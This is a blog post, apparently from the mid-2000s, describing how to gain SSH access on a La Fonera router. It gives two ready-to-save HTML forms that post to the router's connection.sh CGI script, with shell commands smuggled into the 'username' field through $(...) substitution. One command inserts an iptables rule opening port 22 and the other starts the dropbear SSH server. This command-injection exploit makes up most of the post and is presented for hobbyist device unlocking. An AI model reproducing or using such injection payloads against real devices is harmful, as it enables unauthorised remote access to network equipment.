Allow ssh access to La Fonera
A little bit of fun with La Fonera.
You can connect to La Fonera in two ways:
- via Wireless, using WPA and a dhcp client. La Fonera run a dhcp server with 192.168.10.0/24 adderesses
- via Wired, using static ip configuration. You can reach La Fonera at 169.254.255.1
Now, we can try to hack and get ssh access.
Remeber, if you connect La Fonera to internet this steps cant work because she upgrade her firmware.
To open SSH access and to prevent FON from
executing code on your La Fonera save following
code as "step1.html" on your harddisk:
<html><head></head><body><center><form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data"><input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" /><input type="submit" name="submit" value="Submit" /></form></center></body></html>
And now save this code as "step2.html" on your harddisk:
<html><head></head><body><center><form method="post" action="http://169.254.255.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data"><input name="username" value="$(/etc/init.d/dropbear)" size="68"<input type="submit" name="submit" value="Submit" /></form></center></body></html>
Connect to La Fonera and view with a browser step1.html and step2.html.
After this, you can hack La Fonera and install openwrt or dd-wrt, but FON is a social network and you get a Fonera for free, leave life to FON.
Random Posts
Did you enjoy this post? Why not leave a comment below and continue the conversation, or subscribe to my feed and get articles like this delivered automatically to your feed reader.

Comments
No comments yet.
Leave a comment